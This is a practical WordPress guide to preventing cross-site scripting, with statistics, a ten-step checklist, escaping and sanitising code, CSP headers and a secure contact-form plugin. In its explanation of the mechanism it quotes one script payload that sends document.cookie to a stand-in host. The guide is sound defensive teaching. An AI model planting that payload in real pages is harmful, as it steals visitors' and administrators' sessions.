XSS Prevention for WordPress: A Practical Checklist
XSS prevention is the single highest-value security habit a WordPress site owner can build, because cross-site scripting is the flaw attackers find most often in WordPress plugins and themes. It is not the flaw that makes the loudest headlines. Ransomware and data breaches get the headlines. XSS is quieter. An attacker slips a small piece of JavaScript into a comment, a form field, a plugin setting, or a search box, and that script runs in the browser of every visitor who loads the affected page. It can steal an admin session cookie, change a setting, redirect visitors to a scam page, or quietly skim keystrokes from a checkout form. The site owner usually finds out from a visitor, a browser warning, or Google flagging the site, days after the attack started. This guide is the practical checklist that stops that from happening: ten checks a site owner can run in an afternoon, plus the code a developer needs to close the same holes properly, with complete working examples you can copy into your own theme or plugin.
Most WordPress owners think of security as keeping WordPress updated and picking a strong password. Those matter, and this series has already covered them in the WordPress security plugin checklist and the plugin vulnerability audit guide. But XSS prevention is a different layer. Updates fix flaws that someone else disclosed. XSS prevention stops your own site from becoming the next disclosure. The flaw is almost always the same shape: somewhere on your site, text that a visitor typed is printed back onto a page without being escaped first. The browser cannot tell the difference between your code and the attacker’s code, because both arrive as part of the same page. The only fix is to treat every piece of untrusted text as text, never as code, at the exact moment it is printed. WordPress gives you the functions to do that. This guide shows you where to use them, and what to do when the code is not yours.
The numbers explain why this deserves a whole guide rather than a paragraph inside a general security post. Patchstack counted 11,334 new WordPress vulnerabilities in 2025, up 42 percent on 2024, and cross-site scripting was the most common type, at about 41 percent of all disclosures. In the first half of 2025 alone, XSS accounted for 34.7 percent of new vulnerabilities, almost double the next category. Across the whole web, 8,671 CVEs published in 2025 mention cross-site scripting, and more than half of those describe the stored kind, the kind that lives on your site and hits every visitor. WordPress-specific CVEs that mention XSS numbered 1,853 in 2025, and another 1,922 were published between January and early November 2026. The most dangerous detail is who can trigger these flaws: 57 percent of WordPress vulnerabilities in the first half of 2025 needed no login at all. Any visitor could exploit them. That is the audience for this checklist. Not just developers. Site owners, shop owners, bloggers, and anyone who runs WordPress and accepts input from visitors.
Quick Takeaways
- XSS prevention means treating every piece of visitor-supplied text as text, never as code, at the moment it is printed on a page. That one rule stops most cross-site scripting.
- Cross-site scripting is the most common WordPress vulnerability type: about 41 percent of 2025 disclosures, and 34.7 percent in the first half of 2025 alone, nearly double the next category.
- Stored XSS is the most dangerous kind: the script is saved in your database and runs for every visitor who loads the page. Reflected XSS needs a crafted link. DOM-based XSS runs entirely in the visitor browser.
- 57 percent of WordPress vulnerabilities need no login at all. Any visitor can trigger them, which is why input handling matters even on a site with no user registration.
- WordPress gives you the escaping functions for free: esc_html for text, esc_attr for attributes, esc_url for links, esc_js for inline scripts, and wp_kses_post when some HTML must survive.
- A Content Security Policy is the safety net underneath everything else: even if a script gets injected, the browser refuses to run it.
- Keep plugins updated, audit them monthly against WPScan and Patchstack, lock down comments and forms, restrict user roles, and put a firewall in front of the site.
- If your site is already hit, the order is: take it offline or lock it down, find the injected code, remove the vulnerable plugin or patch it, reset every password and session, then re-scan.
What Cross-Site Scripting Actually Is
Cross-site scripting, universally shortened to XSS because the letters CSS were already taken, is a flaw where an attacker gets their own JavaScript to run in another person’s browser, on your site, with your site’s trust. The name is confusing, so forget the name and picture the mechanism instead. A visitor types something into a field on your site: a comment, a search box, a contact form, a product review, a username. Your site stores that text, or reflects it straight back, and prints it into a page. If the printing step does not escape the text first, the browser reads whatever the attacker typed as part of the page itself. A line like <script>fetch('https://evil.example/collect?c=' + document.cookie)</script> is not displayed as text. It runs. And because it runs on your domain, it can read cookies, session tokens, and page content that the browser would never hand to a script from another site. That is the whole attack. It is not a break-in to your server. It is a trick played on your visitors’ browsers, using your site as the stage.
The damage depends on whose browser runs the script. A script that runs for an ordinary visitor can redirect them to a phishing page, show a fake login form, or skim what they type into a checkout. A script that runs for a logged-in administrator is far worse: it can create a new admin account, change the site address, install a plugin, or inject a backdoor, all with the administrator’s own session, all without the administrator ever knowing. Stored XSS is the classic route to that outcome. An attacker leaves a booby-trapped comment or review, an admin opens the moderation queue to approve it, the script runs in the admin browser, and the site is compromised in seconds. That is why XSS prevention is not a developer-only topic. The person who approves comments is part of the defence.
It helps to see how small the flaw is. A theme template that prints a stored value without escaping looks harmless:
<?php echo get_post_meta( $post->ID, 'subtitle', true ); ?>One function call changes everything:
<?php echo esc_html( get_post_meta( $post->ID, 'subtitle', true ) ); ?>The first version prints whatever is in the database, including a script tag. The second converts the angle brackets into harmless text, so the browser displays the attacker’s code instead of running it. WordPress’s own developer handbook states the rule plainly: escape output as late as possible, at the moment it is printed, with the function that matches where the value will appear. That is the core of this entire guide, and every check below is a way of making sure that rule is followed, or of catching the cases where it was not.
The Three Kinds of XSS, and Why Stored Is the Worst
Not all cross-site scripting works the same way, and the defence is slightly different for each kind. The three kinds are stored, reflected, and DOM-based. A site owner needs to recognise all three, because a checklist that only covers one leaves the other two open.
Stored XSS: the script lives in your database
Stored XSS, also called persistent XSS, is the script saved on your site: in a comment, a review, a forum post, a user profile field, a plugin setting, or any other value that gets written to the database and printed later. Every visitor who loads the affected page runs the script. It needs no trick link and no victim cooperation beyond visiting a normal page. That persistence is what makes it the worst kind. One injected comment can hit thousands of visitors, including administrators, before anyone notices. The 2025 CVE data backs that up: of the 8,671 XSS CVEs published in 2025, 4,476, or 51.6 percent, describe stored XSS, about two and a half times the number that describe reflected XSS. When a WordPress plugin is disclosed with an XSS flaw, it is usually stored XSS, and it usually arrives through a field that a low-privilege user is allowed to fill in: a shortcode attribute, a form field, a widget setting. Real examples from October 2026 include an unauthenticated stored XSS flaw in Post SMTP, where the user email parameter on a multisite registration page could carry a script, and an unauthenticated stored XSS flaw in WPC Product Options for WooCommerce, where a multipart field name could carry one. Both needed no login. Both sat in the database waiting for a victim.
Reflected XSS: the script rides in a link
Reflected XSS lives in a URL rather than in your database. The attacker crafts a link with the script embedded in a parameter, for example a search query or an image URL parameter, and sends it to a victim. When the victim clicks, the site prints the parameter back into the page without escaping it, and the script runs. Reflected XSS needs the victim to click, so it is usually delivered by email, social media, or a comment on another site. It is less dangerous than stored XSS, but it is far from harmless: a single crafted link sent to a site administrator can compromise the whole site, and reflected flaws are extremely common. October 2026 disclosures include a reflected XSS flaw in Photo Gallery by 10Web through the thumb_url parameter, one in WPFront Notification Bar through the REQUEST_URI value, and one in WPC Estimated Delivery Date for WooCommerce through a rule_data parameter. The defence is the same as for stored XSS, escape the value before printing it, plus one extra habit: never trust a value that arrived in a URL just because it came from your own site.
DOM-based XSS: the script never touches your server
DOM-based XSS happens entirely in the visitor browser. JavaScript on the page reads a value from the URL, a fragment, or storage, and writes it into the page with a dangerous method such as innerHTML or document.write, without sanitising it first. The malicious value never reaches your server, so server-side escaping cannot catch it, and your access logs will not show it. This kind is rarer in WordPress, because most WordPress output is server-rendered, but it appears in themes and plugins that do heavy client-side rendering: live search boxes, single-page checkouts, and JavaScript-driven widgets. The defence is client-side: use textContent instead of innerHTML when inserting untrusted text, and never pass a URL parameter straight into the DOM. If you use a plugin with a live search or a JavaScript filter, that is worth checking specifically.
| Kind | Where the script lives | Who it hits | Needs a click? | Main defence |
|---|---|---|---|---|
| Stored XSS | Your database, in a comment, review, setting, or field | Every visitor who loads the page, including admins | No, just a normal visit | Escape output, sanitise input, moderate user content |
| Reflected XSS | A crafted URL parameter | Whoever clicks the link | Yes | Escape output, never trust URL values |
| DOM-based XSS | The page JavaScript itself | Whoever loads the page with a crafted URL | Usually, via a crafted link | Use textContent, never innerHTML, for untrusted text |
Why WordPress Sites Are a Favourite Target
WordPress runs a huge share of the web, and that scale is the first reason attackers love it. A single plugin flaw can be worth thousands of sites, so researchers and attackers both look at WordPress first. The second reason is the plugin ecosystem. WordPress core itself is well reviewed: only six vulnerabilities were found in core in the whole of 2025, and one in the first half of the year. Plugins are a different story. 91 percent of 2025 WordPress vulnerabilities were in plugins, and 9 percent in themes. A plugin can be written by one person, in their spare time, with no security review, and still be installed on 100,000 sites. The WordPress.org review team checks a plugin for guideline violations when it is first submitted. It does not audit the code for security flaws, and it does not re-check it on every update. That gap is where XSS lives.
The third reason is that XSS is easy to introduce and hard to patch completely. A developer has to escape every single output, in every template, in every shortcode, in every admin screen. Missing one echo in one rarely used settings page is enough for a disclosure. Patchstack’s data shows the result: in the first half of 2025, XSS at 34.7 percent was followed by cross-site request forgery at 19 percent, local file inclusion at 12.6 percent, broken access control at 10.9 percent, and SQL injection at 7.2 percent. Input handling flaws dominate the whole list. The attacker does not need to be clever. They need a form field, a plugin that prints it back, and a scanner that can find that plugin on ten thousand sites at once.
The fourth reason is time. Patchstack measured a median of five hours from public disclosure to mass exploitation. Five hours. If a flaw in a plugin you use is disclosed on a Tuesday morning, automated scanners are probing your site for it by Tuesday lunchtime. And 46 percent of 2025 flaws had no fix at all when they went public, which means updating was not even an option for those sites. The choice was to remove the plugin or stay exposed. That is why this checklist starts with knowing what you run and watching for disclosures, and why the plugin vulnerability audit guide from this series belongs next to this one. XSS prevention is not a one-time fix. It is a routine: update, audit, escape, restrict, monitor, repeat.
How XSS Gets Into a WordPress Site
Before the checklist, it helps to know the doors. XSS does not arrive through a single hole. It arrives through every place your site accepts text from a visitor and shows it back to someone. Here are the doors that show up again and again in real disclosures.
Comment fields and reviews
Comments are the oldest XSS door in WordPress. A visitor writes a comment, the comment is stored, and the comment is printed under the post. WordPress itself handles comments safely: it runs comment text through wp_kses_data, which allows only the HTML permitted in post comments, and it escapes author names and URLs. The danger comes from plugins that change comment handling: custom comment forms, review plugins, testimonial plugins, and question-and-answer plugins that store extra fields and print them without the same care. A review plugin that prints a reviewer name with a plain echo, instead of esc_html, is an open door. If you run any plugin that adds fields to comments or reviews, that plugin is on your audit list.
Contact forms and form plugins
Contact forms collect names, email addresses, messages, and file uploads, and many sites print those values back: in a confirmation page, in an admin notification, in a stored entry list. A form plugin that echoes a submitted name onto a thank-you page without escaping it is a reflected XSS flaw waiting for a link. A form plugin that stores entries and shows them in the admin area without escaping is a stored XSS flaw waiting for an admin to open the entries list. The October 2026 Post SMTP case is a cousin of this pattern: a user email value reached a log that was printed without escaping. Check your form plugin the same way you check everything else: look at its changelog and its disclosure history, not at its star rating.
Plugin and theme settings pages
Settings pages are the most overlooked door, because only administrators see them. A plugin setting that stores a value and prints it on an admin screen without escaping is a stored XSS flaw, and it is often exploitable by a lower-privilege user: a contributor who can save a value through a shortcode attribute or a custom field, whose value an admin later views. The Twenty20 Image Before-After flaw from October 2026 is exactly this shape: an authenticated contributor could inject a script through a shortcode attribute, and it would run when an administrator viewed the result. Settings pages deserve the same escaping discipline as public pages, and the audit in the checklist below covers them.
Shortcode attributes and custom fields
Shortcodes take attributes from post content and turn them into output. A shortcode that prints an attribute straight into HTML, for example an image URL or a title, is a reflected or stored XSS flaw, depending on who can create the post. The same applies to custom fields printed by a theme, and to widget settings. Anywhere a value travels from storage to screen without an escaping function is a door. This is the single most common pattern in WordPress XSS disclosures, and it is the pattern the escaping section of this checklist is built to fix.
Search boxes and URL parameters
A search box prints the search term back onto the results page: “Results for X”. If X is printed without escaping, the search box is a reflected XSS flaw, and the attack link is trivial to build. The same applies to any page that echoes a URL parameter: a filter, a sort order, a tracking code, a “thank you” page that repeats a name from the URL. These are easy to test yourself, which is why the checklist includes a quick self-test you can run in two minutes with your own browser.
The WordPress XSS Prevention Checklist
This is the core of the guide: ten checks, in the order a site owner should run them. The first four are things any site owner can do today without writing code. The next four need a little configuration or a developer. The last two are the monitoring habits that keep the protection working after the first pass. Work through them in order, and do not skip the boring ones. The boring ones are the ones that stop the attack.
Check 1: Update WordPress, every plugin, and every theme, then delete what you do not use
An XSS flaw that is already patched cannot hurt you, and an unpatched plugin is the single most common way XSS reaches a live site. Open the Updates screen in your WordPress admin, install every available update for core, plugins, and themes, and then open the Plugins screen and delete anything you do not actively use. A deactivated plugin is still installed code, and a deactivated plugin with a known XSS flaw can still be exploited, because the vulnerable file is still on the server and still reachable. The plugin vulnerability audit guide in this series explains how to build a full inventory and check it against the public databases. Run that audit monthly. Between audits, turn on automatic updates for plugins you trust, and subscribe to the free email alerts from WPScan or Patchstack so that a disclosure in a plugin you run reaches you the same day, not at the next monthly check. Remember the five-hour median: a monthly audit catches the slow flaws, and alerts catch the fast ones.
Check 2: Audit your plugins against the vulnerability databases
Updating only helps when a fix exists. For the 46 percent of flaws that had no fix at disclosure, the answer is removal, and you only know that by checking. Search every plugin you run in WPScan, Patchstack, and the Wordfence Intelligence Vulnerability Database, where you can search by plugin name, slug, or CVE ID. Look specifically for cross-site scripting entries, and read the fixed-in version, not the scary title. If your installed version is at or above the fixed-in version, you are already safe. If there is no fixed-in version, the plugin is abandoned or the developer has not responded, and the safe move is to replace it. Do the same check for your theme. Themes have the same flaw patterns, and a theme template that prints a custom field without escaping is just as dangerous as a plugin that does it. Keep a simple spreadsheet of your plugins, their versions, and the date you last checked them. The audit takes about half an hour for a typical site, and it is the highest-value half hour in this whole checklist.
Check 3: Lock down comments, reviews, and user-submitted content
Comments and reviews are the doors your visitors walk through every day, so lock them properly. In Settings, then Discussion, require that a comment author fills in a name and email address, hold comments for moderation unless the author has an approved comment already, and set the comment moderation queue to hold any comment with more than two links. Turn off the option that lets visitors comment without an account if your site does not need open comments. More importantly, check the plugins that extend comments: review plugins, testimonial plugins, and custom comment forms. Each one adds a field that WordPress core does not control. For each, confirm that the plugin escapes its output. If the plugin is no longer maintained, replace it with one that is. And if your site does not need comments at all, close them: a door that does not exist cannot be opened. You can close comments site-wide from the Discussion settings, or per post from the post editor.
Check 4: Sanitise every input before you store it, and validate it too
Sanitising means cleaning a value when it arrives. Validating means rejecting a value that is wrong. Both happen on the server, never only in the browser, because browser checks can be bypassed with a single crafted request. For a site owner, this check is about the plugins you choose: a good form plugin sanitises and validates every field, and a bad one trusts whatever arrives. For a developer, WordPress gives you a function for every type of input. Here is the rule, straight from the WordPress developer handbook: never trust user input, and prefer validation or rejection over sanitisation. The table below is the quick reference to keep beside your keyboard.
| Input type | Function to use | What it does |
|---|---|---|
| Plain text, such as a title or name | sanitize_text_field | Strips tags and line breaks, leaving clean text |
| Email address | sanitize_email | Removes characters that cannot appear in an email address |
| URL | sanitize_url | Removes characters that cannot appear in a URL |
| File name | sanitize_file_name | Removes characters that are unsafe in a file name |
| Integer | absint or intval | Forces the value to a whole number, nothing else survives |
| Key or slug | sanitize_key | Lowercases and strips anything that is not a letter, number, dash, or underscore |
| HTML that must survive, such as post content | wp_kses_post | Allows only the HTML permitted in post content |
| HTML in a comment | wp_kses_data | Allows only the HTML permitted in comments |
A form handler that sanitises properly looks like this. Note the nonce check on the first line inside the handler: that is Check 6, and it belongs in every form.
if ( ! isset( $_POST['my_form_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['my_form_nonce'] ), 'my_form_action' ) ) {
wp_die( 'Security check failed. Please go back and try again.' );
}
$name = isset( $_POST['visitor_name'] ) ? sanitize_text_field( wp_unslash( $_POST['visitor_name'] ) ) : '';
$email = isset( $_POST['visitor_email'] ) ? sanitize_email( wp_unslash( $_POST['visitor_email'] ) ) : '';
$message = isset( $_POST['visitor_message'] ) ? sanitize_textarea_field( wp_unslash( $_POST['visitor_message'] ) ) : '';
if ( '' === $name || ! is_email( $email ) || '' === $message ) {
wp_die( 'Please fill in your name, a valid email address, and a message.' );
}Three things to notice. First, every value is cleaned before it is used, including the nonce itself. Second, the email is validated with is_email, not just sanitised: sanitising removes bad characters, validating rejects a bad value outright. Third, wp_unslash removes the slashes WordPress adds to request data, so the sanitising functions see the real value. Copy this shape for every form you build, and you have closed the input half of XSS.
Check 5: Escape every output with the function that matches its context
This is the check that matters most, and it is the one developers get wrong most often. Sanitising protects what goes into the database. Escaping protects what comes out of it. A value that was sanitised on the way in can still be dangerous on the way out, because data can change between storage and display, and because not every value passes through your sanitising code. WordPress’s rule is to escape late: at the echo, every time, with the function that matches where the value will appear. The wrong function in the right place is still a hole. Escaping a URL with esc_html instead of esc_url leaves a javascript: link intact. Escaping text with esc_url mangles it. Match the function to the context, and the table below is the reference.
| Where the value appears | Function to use | What it does |
|---|---|---|
| Text between HTML tags | esc_html | Converts angle brackets and quotes into harmless text |
| Inside a quoted HTML attribute | esc_attr | Same conversion, safe for attribute values |
| In a link href or image src | esc_url | Removes invalid characters and blocks dangerous protocols such as javascript: |
| Inside a textarea | esc_textarea | Encodes text so it cannot break out of the textarea |
| Inside inline JavaScript | esc_js | Escapes the value for use inside a script string |
| HTML that must survive, such as formatted post text | wp_kses_post | Allows only the HTML permitted in post content |
| Translated text with no HTML | esc_html__ or esc_html_e | Translates and escapes in one step |
Here is the same template output written three ways: the vulnerable way, and the fixed way, for text, an attribute, and a URL.
// Vulnerable: prints the stored value exactly as it is in the database.
echo get_post_meta( $post->ID, 'subtitle', true );
// Fixed: text between tags.
echo esc_html( get_post_meta( $post->ID, 'subtitle', true ) );
// Fixed: inside an attribute.
echo '<div title="' . esc_attr( get_post_meta( $post->ID, 'subtitle', true ) ) . '">';
// Fixed: a URL in a link.
echo '<a href="' . esc_url( get_post_meta( $post->ID, 'website', true ) ) . '">Visit site</a>';And here is the rule for HTML that must survive, such as a formatted bio or a product description entered by a shop manager. Use wp_kses_post, which allows the tags WordPress permits in post content and strips everything else, including script tags and event handler attributes.
$bio = get_user_meta( $user_id, 'author_bio', true );
echo wp_kses_post( $bio );One more rule from the handbook: if you build a string that contains HTML and cannot pass it through wp_kses, escape each piece while you build it, and store the finished value in a variable whose name ends in _escaped, _safe, or _clean, so the next person reading the code can see at a glance that it is safe to print. Never print a raw variable into a template and hope it was cleaned somewhere else. If the escaping is not visible at the echo, it is not done.
Check 6: Put a nonce on every form and every state-changing link
A nonce is a one-time token that proves a form submission came from your site, not from a page an attacker controls. It is WordPress’s defence against cross-site request forgery, and it matters for XSS prevention too, because many stored XSS attacks are delivered through a form or a settings save that a nonce would have blocked. Every form that changes something, every settings save, every delete link, and every AJAX action that writes data needs a nonce. A form that writes without one is an open door, and WordPress makes nonces easy. Add the field to the form with wp_nonce_field, and verify it in the handler with wp_verify_nonce, exactly as shown in the Check 4 example. For a link that changes state, build the URL with wp_nonce_url and verify it with check_admin_referer. A delete link without a nonce is a classic flaw: an attacker who can get an admin to click a link can delete content, change settings, or trigger an action the admin never intended.
// In the form.
wp_nonce_field( 'my_form_action' );
// In the handler.
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['_wpnonce'] ), 'my_form_action' ) ) {
wp_die( 'Security check failed. Please go back and try again.' );
}
// For a link that deletes something.
$delete_url = wp_nonce_url( add_query_arg( array( 'action' => 'my_delete_item', 'item_id' => $item_id ), admin_url( 'admin-post.php' ) ), 'my_delete_action' );Check 7: Set a Content Security Policy, report-only first, then enforce it
A Content Security Policy, or CSP, is a header your server sends with every page that tells the visitor browser which sources of content are allowed to load. It is the safety net underneath every other check in this guide. If a script gets injected despite your escaping, a good CSP stops the browser from running it, because the injected script does not come from an approved source. Most WordPress sites have no CSP at all, because WordPress loads resources from many sources by default, and a policy that misses one of them breaks the site instead of securing it. The way to deploy one safely is in three steps, and skipping the middle step is how sites break.
Step one is report-only mode. Send the policy with the Content-Security-Policy-Report-Only header instead of the enforcing header. The browser logs every violation to the console and to your reporting endpoint, but blocks nothing. Run it for a week, watch the reports, and add the legitimate sources your site actually uses: Google Fonts, Google Analytics, your video embeds, your payment processor, your CDN.
Step two is to write the real policy from what the reports showed. A typical WordPress starter policy looks like this:
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; frame-src https://www.youtube.com; object-src 'none'; base-uri 'self'Each part is a directive. script-src controls JavaScript. style-src controls stylesheets. img-src controls images. object-src ‘none’ blocks plugins such as Flash entirely. base-uri ‘self’ stops an attacker from changing where relative links point. The ‘self’ keyword means your own domain. Every other source must be named explicitly. Notice what is missing: there is no ‘unsafe-inline’ anywhere. Allowing inline scripts defeats most of the protection, because an injected inline script is exactly what XSS produces. If your theme or a plugin needs inline scripts, that is the moment to fix the theme or replace the plugin, or to move to per-request nonces, which is the strongest form of CSP and the hardest to deploy on a typical WordPress site.
Step three is enforcement. Replace the report-only header with the enforcing header, keep watching the reports for a week, and fix anything that breaks. You can set the header in three places. The easiest is a plugin: BoundaryGuard Headers has a dashboard CSP builder with report-only and nonce modes, and Headers Security Advanced and HSTS WP does the same job. The developer route is a few lines in your theme functions file:
add_action( 'send_headers', function() {
if ( is_admin() ) {
return;
}
header( "Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; frame-src https://www.youtube.com; object-src 'none'; base-uri 'self'" );
} );Or the server route, in Apache .htaccess:
<IfModule mod_headers.c>
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; frame-src https://www.youtube.com; object-src 'none'; base-uri 'self'"
</IfModule>Test the policy with the free scan at securityheaders.com after you deploy it, and keep the report-only endpoint running for the first month. A CSP that breaks your checkout is worse than no CSP at all, because it trains you to ignore security warnings. Deploy it slowly, and it becomes the strongest layer you have.
Check 8: Add the supporting security headers
CSP does the heavy lifting, but three smaller headers close gaps around it, and all three are one line each. X-Content-Type-Options with the value nosniff stops the browser from guessing a file type, which blocks a class of attacks where a text file is treated as a script. Referrer-Policy controls how much of the page address is sent when a visitor follows a link, and a value of strict-origin-when-cross-origin is the sensible default. X-Frame-Options with the value SAMEORIGIN stops your pages from being framed by another site, which blocks clickjacking, where an invisible frame tricks a visitor into clicking something they cannot see. Add them in the same place you added the CSP header, and check them with the same securityheaders.com scan. The security attributes guide in this series covers rel=noopener for links that open in a new tab, which is the same family of protection: a link that opens a new tab hands the new page a reference to your page unless you add rel=”noopener”, and that reference has been used to redirect the original tab to a phishing page.
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGINCheck 9: Restrict user roles, remove unused accounts, and turn on two-factor authentication
XSS is most dangerous when it runs in an administrator browser, so shrink the number of browsers it can run in. Give every user the lowest role that lets them do their job: Subscriber for someone who only needs to comment, Contributor for someone who writes drafts but does not publish, Author for someone who publishes their own posts, Editor for someone who manages other people’s posts. Nobody needs the Administrator role to write a blog post. Remove accounts that no one uses, including old freelancer and agency accounts, and remove the default admin username if your site still has one. Turn on two-factor authentication for every administrator account: a stolen session cookie is far less useful when the attacker still cannot log in as the admin. And review the user list every quarter. The audit in the plugin vulnerability guide covers the plugins; this check covers the people, and the people are the ones whose browsers run the scripts.
Check 10: Put a firewall in front of the site and watch the logs
A web application firewall, or WAF, inspects incoming requests and blocks the ones that look like attacks, including the probing requests that test for XSS. Wordfence and Patchstack both offer a firewall for WordPress: Patchstack adds virtual patching, which blocks exploitation of a known flaw even before the plugin developer ships a fix, which matters for the 46 percent of flaws with no fix at disclosure. A CDN-level firewall such as Cloudflare does the same job before the request reaches your server at all. Whichever you choose, turn on its logging and actually look at it once a week. A sudden cluster of blocked requests carrying script tags in a parameter is an attacker testing your site, and it is also a signal to check whether the parameter they are testing belongs to a plugin you run. The WordPress security plugin checklist in this series compares the main options in detail. Pair the firewall with uptime and file-change monitoring, so that an injection that does get through is noticed in hours, not weeks.
A Complete Secure Contact Form, Start to Finish
The checks above are easier to trust when you can see them all working together in one file. The example below is a complete, working mini-plugin: a contact form shortcode with a nonce, sanitised input, validated email, escaped output, and a safe confirmation message. It is deliberately small, so you can read it end to end and see where each check lives. Save it as a file in wp-content/plugins/secure-contact-form/secure-contact-form.php, activate it, and place the [secure_contact_form] shortcode on a page.
<?php
/**
* Plugin Name: Secure Contact Form
* Description: A contact form that sanitises input, verifies a nonce, and escapes all output.
* Version: 1.0.0
*/
add_shortcode( 'secure_contact_form', 'scf_render_form' );
function scf_render_form() {
$output = '';
if ( isset( $_POST['scf_submitted'] ) ) {
$output .= scf_handle_submission();
}
$output .= '<form method="post" action="' . esc_url( get_permalink() ) . '">';
$output .= wp_nonce_field( 'scf_submit_action' );
$output .= '<p><label for="scf_name">Your name</label><br>';
$output .= '<input type="text" id="scf_name" name="scf_name" required></p>';
$output .= '<p><label for="scf_email">Your email</label><br>';
$output .= '<input type="email" id="scf_email" name="scf_email" required></p>';
$output .= '<p><label for="scf_message">Your message</label><br>';
$output .= '<textarea id="scf_message" name="scf_message" rows="6" required></textarea></p>';
$output .= '<p><input type="submit" name="scf_submitted" value="Send message"></p>';
$output .= '</form>';
return $output;
}
function scf_handle_submission() {
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['_wpnonce'] ), 'scf_submit_action' ) ) {
return '<p>Security check failed. Please go back and try again.</p>';
}
$name = isset( $_POST['scf_name'] ) ? sanitize_text_field( wp_unslash( $_POST['scf_name'] ) ) : '';
$email = isset( $_POST['scf_email'] ) ? sanitize_email( wp_unslash( $_POST['scf_email'] ) ) : '';
$message = isset( $_POST['scf_message'] ) ? sanitize_textarea_field( wp_unslash( $_POST['scf_message'] ) ) : '';
if ( '' === $name || ! is_email( $email ) || '' === $message ) {
return '<p>Please fill in your name, a valid email address, and a message.</p>';
}
$admin_email = get_option( 'admin_email' );
$subject = 'New contact form message from ' . $name;
$body = "Name: {$name}\nEmail: {$email}\n\n{$message}";
wp_mail( $admin_email, $subject, $body );
return '<p>Thank you, ' . esc_html( $name ) . '. Your message has been sent.</p>';
}Walk through it against the checklist. The form carries a nonce, and the handler verifies it before touching any input, which is Check 6. Every field is sanitised with the function that matches its type, and the email is validated with is_email, which is Check 4. The confirmation message prints the visitor name with esc_html, so a name containing a script tag is displayed as harmless text, which is Check 5. The form action uses esc_url, so a manipulated permalink cannot inject a javascript: URL. And the whole file is small enough to audit by eye, which is the standard every plugin you install should meet. When you evaluate a form plugin, ask whether its code looks like this. If the plugin is closed-source or its code is a maze, that is a signal, not a reassurance.
Test Your Own Site for XSS in Two Minutes
You do not need a scanner to find the most obvious holes. Open your own site in a browser, and try the following in each place a visitor can type: the search box, a comment form, and a contact form. Type a harmless test string that would reveal an escaping failure without doing any harm: <b>test</b> is enough for a first pass, because if the page prints the word test in bold, the value was not escaped, and a script tag would have run the same way. Submit the form, load the page where the value is displayed, and look at the result. If you see the literal text <b>test</b> on the page, the value was escaped correctly. If you see a bold word test, the value was printed as HTML, and you have found a hole. Do not test with a real script tag on a live site, and never test on someone else’s site. The bold test tells you what you need to know, and it cannot hurt anyone. If the test fails on a comment or a search box, the fix is in the plugin or theme that prints that value, and the escaping section above shows exactly what the fix looks like. If the test fails on a form plugin, report it to the plugin developer and check the vulnerability databases for a disclosure while you wait for the fix.
Common XSS Prevention Mistakes
| Mistake | Why it hurts | What to do instead |
|---|---|---|
| Escaping once, when the value is saved | Data can change between storage and display, and other code paths can print it unescaped | Escape late, at the echo, every time, with the function that matches the context |
| Using esc_html on a URL | esc_html leaves a javascript: link intact, so the link still runs code | Use esc_url for every href and src value |
| Using esc_url on plain text | It strips characters that belong in text and mangles the output | Use esc_html for text between tags and esc_attr inside attributes |
| Sanitising only in the browser with JavaScript | Browser checks are bypassed by a single crafted request | Sanitise and validate on the server, always; browser checks are a courtesy, not a defence |
| Trusting a value because it came from your own database | Stored XSS is exactly a value from your own database, placed there by an attacker | Escape database values the same way you escape visitor input |
| Adding ‘unsafe-inline’ to a CSP to make a plugin work | It allows inline scripts, which is exactly what an injected script is, so the CSP stops protecting you | Fix the plugin, replace it, or move to per-request nonces |
| Leaving a vulnerable plugin installed but deactivated | The vulnerable file is still on the server and still reachable | Delete plugins you do not use; deactivation is not removal |
| Assuming a premium plugin is safe | At least one in seven plugin and theme flaws disclosed in 2026 was in a product not on WordPress.org, most of them paid | Audit premium plugins in the vulnerability databases by name and version, exactly like free ones |
| Approving comments without looking at them | A stored XSS payload in a comment runs for every visitor, including admins who open the moderation queue | Moderate comments, hold links for review, and check the plugins that extend commenting |
| Treating security as a one-time project | The median time from disclosure to mass exploitation is five hours, and new flaws are disclosed every day | Update monthly at minimum, watch the alerts, and re-run this checklist every quarter |
What to Do If Your Site Is Already Hit
Finding an injected script on your site is unpleasant, but the recovery order matters more than speed. First, limit the damage: put the site into maintenance mode, or take it offline if the injection is active on public pages, so no more visitors run the script while you clean up. Second, find the injection: search your database for script tags and suspicious strings in posts, comments, user profiles, and plugin settings, and scan the files with your security plugin or with the free Wordfence scan. Third, find the door: check which plugin or theme the injected value came through, and check the vulnerability databases for a disclosure. If the plugin is vulnerable and unpatched, remove it now and replace it later. Fourth, clean up: remove the injected code, delete any admin accounts you do not recognise, and reset every password on the site, including hosting, FTP, and database passwords. Fifth, reset sessions: log every user out by changing the WordPress salts in wp-config.php, which invalidates all existing sessions, including any the attacker is using. Sixth, re-scan and monitor: run a full scan, check the site on securityheaders.com, and watch the firewall logs for a week for repeat attempts. And finally, write down what happened: the plugin, the flaw, and the date. That note is what stops the same plugin from being reinstalled next year. The backups and file integrity guide later in this series covers the restore process in detail, including how to tell a clean backup from one that already contains the injection.
Frequently Asked Questions
1. What is XSS prevention in WordPress?
XSS prevention in WordPress means stopping cross-site scripting, the flaw where an attacker gets JavaScript to run in a visitor browser through your site. It is done by sanitising input when it arrives, escaping output when it is printed, putting nonces on forms, setting a Content Security Policy, keeping plugins updated, and auditing them against the vulnerability databases. No single step is enough on its own. The combination is what works.
2. Is WordPress itself vulnerable to XSS?
WordPress core is rarely the source. Only six vulnerabilities were found in core in the whole of 2025, and one in the first half of the year. 91 percent of 2025 WordPress vulnerabilities were in plugins, and 9 percent in themes. Your site’s XSS risk comes almost entirely from the plugins and themes you install, which is why the audit and update checks come first in this guide.
